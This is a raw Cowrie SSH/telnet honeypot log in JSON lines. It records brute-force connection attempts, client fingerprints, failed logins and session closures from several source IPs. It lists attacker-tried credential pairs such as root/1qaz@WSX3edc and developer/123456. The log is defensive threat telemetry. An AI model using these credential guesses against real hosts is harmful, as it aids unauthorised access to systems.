{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:34.476788Z","src_ip":"165.154.137.186","session":"614aebb2a227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cumberland123","message":"login attempt [root/cumberland123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:34.612292Z","src_ip":"198.1.75.59","session":"3226b35f67cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:34.740483Z","src_ip":"165.154.137.186","session":"614aebb2a227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:35.140059Z","src_ip":"165.154.137.186","session":"13b30d6cf0c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:35.155985Z","src_ip":"165.154.137.186","session":"d6ba624a9550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:35.530883Z","src_ip":"165.154.137.186","session":"614aebb2a227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:35.696717Z","src_ip":"198.1.75.59","session":"3226b35f67cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:36.424454Z","src_ip":"165.154.137.186","session":"13b30d6cf0c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:36.428765Z","src_ip":"165.154.137.186","session":"d6ba624a9550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:36.795155Z","src_ip":"165.154.137.186","session":"614aebb2a227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":41634,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6b347253387","protocol":"ssh","message":"New connection: 8.210.75.243:41634 (10.17.0.5:22) [session: a6b347253387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:39.591645Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:42.194186Z","src_ip":"8.210.75.243","session":"ca7a8bce712a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":46070,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a8fe1a52a4c","protocol":"telnet","message":"New connection: 183.91.11.226:46070 (159.203.135.109:23) [session: 1a8fe1a52a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:45.412708Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":53598,"dst_ip":"10.17.0.5","dst_port":22,"session":"04844d801b55","protocol":"ssh","message":"New connection: 165.154.137.186:53598 (10.17.0.5:22) [session: 04844d801b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:46.107478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:46.110898Z","src_ip":"165.154.137.186","session":"04844d801b55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:46.374020Z","src_ip":"165.154.137.186","session":"04844d801b55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:47.165399Z","src_ip":"165.154.137.186","session":"04844d801b55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:48.430881Z","src_ip":"165.154.137.186","session":"04844d801b55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":64260,"dst_ip":"159.203.135.109","dst_port":22,"session":"200a1f0ee034","protocol":"ssh","message":"New connection: 38.93.206.2:64260 (159.203.135.109:22) [session: 200a1f0ee034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:49.254074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:49.257354Z","src_ip":"38.93.206.2","session":"200a1f0ee034","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:49.307465Z","src_ip":"38.93.206.2","session":"200a1f0ee034","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"season","message":"login attempt [root/season] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:49.466949Z","src_ip":"38.93.206.2","session":"200a1f0ee034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":53470,"dst_ip":"10.17.0.5","dst_port":22,"session":"a05828896eeb","protocol":"ssh","message":"New connection: 8.210.75.243:53470 (10.17.0.5:22) [session: a05828896eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:49.704874Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:50.520747Z","src_ip":"38.93.206.2","session":"200a1f0ee034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":36378,"dst_ip":"10.17.0.5","dst_port":22,"session":"1077f25c1115","protocol":"ssh","message":"New connection: 198.1.93.192:36378 (10.17.0.5:22) [session: 1077f25c1115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:53.883404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:53.887329Z","src_ip":"198.1.93.192","session":"1077f25c1115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:53.976951Z","src_ip":"198.1.93.192","session":"1077f25c1115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agix123","password":"agix123","message":"login attempt [agix123/agix123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:54.246912Z","src_ip":"198.1.93.192","session":"1077f25c1115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:46:55.338879Z","src_ip":"198.1.93.192","session":"1077f25c1115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":56652,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f4de400a72c","protocol":"ssh","message":"New connection: 165.154.137.186:56652 (10.17.0.5:22) [session: 3f4de400a72c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:03.667169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:03.671725Z","src_ip":"165.154.137.186","session":"3f4de400a72c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58694,"dst_ip":"10.17.0.5","dst_port":22,"session":"c22d7b854508","protocol":"ssh","message":"New connection: 165.154.137.186:58694 (10.17.0.5:22) [session: c22d7b854508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:03.827216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:03.833250Z","src_ip":"165.154.137.186","session":"c22d7b854508","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:03.955924Z","src_ip":"165.154.137.186","session":"3f4de400a72c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:04.085470Z","src_ip":"165.154.137.186","session":"c22d7b854508","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:04.755410Z","src_ip":"165.154.137.186","session":"3f4de400a72c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:04.838960Z","src_ip":"165.154.137.186","session":"c22d7b854508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":44050,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6989a14fb0c","protocol":"ssh","message":"New connection: 2.57.122.209:44050 (10.17.0.5:22) [session: d6989a14fb0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:05.838200Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:06.023113Z","src_ip":"165.154.137.186","session":"3f4de400a72c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:06.091767Z","src_ip":"165.154.137.186","session":"c22d7b854508","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:06.517078Z","src_ip":"2.57.122.209","session":"d6989a14fb0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:06.520234Z","src_ip":"2.57.122.209","session":"d6989a14fb0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58702,"dst_ip":"10.17.0.5","dst_port":22,"session":"6765f3d13054","protocol":"ssh","message":"New connection: 165.154.137.186:58702 (10.17.0.5:22) [session: 6765f3d13054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:07.676764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:07.681097Z","src_ip":"165.154.137.186","session":"6765f3d13054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:47:07.928741Z","src_ip":"165.154.137.186","session":"6765f3d13054","protocol":"ssh"}
